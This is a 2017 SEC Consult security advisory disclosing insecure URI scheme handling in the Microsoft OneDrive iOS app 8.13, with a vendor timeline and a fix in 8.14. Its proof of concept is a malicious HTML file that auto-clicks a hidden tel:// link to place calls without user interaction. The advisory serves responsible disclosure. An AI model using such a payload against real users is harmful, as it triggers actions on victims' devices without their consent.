A short demo video is available here: https://youtu.be/0jZdM9peVSk SEC Consult Vulnerability Lab Security Advisory < 20170510-0 > ======================================================================= title: Insecure Handling Of URI Schemes product: Microsoft OneDrive iOS App vulnerable version: 8.13 fixed version: 8.14 impact: Medium homepage: https://onedrive.live.com/ found: 2017-04-10 by: S. Tripathy (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Do more wherever you go with Microsoft OneDrive. Get to and share your documents, photos, and other files from your iOS device, computer (PC or Mac), and any other devices you use. Use the Office mobile apps to stay productive and work together, no matter where you are. The OneDrive app for iOS lets you easily work with your personal and work files when you're on the go." Source: https://itunes.apple.com/us/app/microsoft-onedrive-file-photo-cloud-storage/id477537958?mt=8 Business recommendation: ------------------------ SEC Consult recommends to implement a proper validation to handle the URI schemes. Always ask for user permission before calling an external URI scheme. Vulnerability overview/description: ----------------------------------- 1) Insecure Handling of URI Schemes Due to the lack of URI schemes validation any external URI scheme can be invoked by the Microsoft OneDrive iOS application with out any user interaction. Proof of concept: ----------------- 1) Insecure Handling of URI Schemes An attacker can upload and share a malicious HTML file to invoke an external URI scheme. Once the file is accessed by any OneDrive user with an iOS device, the external URI scheme will be invoked automatically. Example of a malicious HTML file: ============================================================================ <html> <body> <a id="callme" href="tel://1-xxx-xxx-xxx" style="display:none">click</a> <script> var t = document.getElementById("callme"); var fe = document.createEvent("MouseEvents"); fe.initEvent("click", true, true); t.dispatchEvent(fe); </script> </body> </html> ============================================================================= Vulnerable / tested versions: ----------------------------- The following version is affected by the identified vulnerability which was the most recent version at the time of discovery: Microsoft OneDrive iOS application v8.13 Vendor contact timeline: ------------------------ 2017-04-11: Contacting vendor through secure@xxxxxxxxxxxxx 2017-04-12: Vendor confirmed the vulnerability. 2017-04-21: Vendor released the updated version. 2017-05-10: Public release of advisory. Solution: --------- SEC Consult recommends to implement a proper validation to handle the URI schemes. Always ask for user permission before calling a URI scheme. Update to OneDrive v8.14 https://itunes.apple.com/us/app/microsoft-onedrive-file-photo-cloud-storage/id477537958?mt=8 Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Siddhartha Tripathy / @2017
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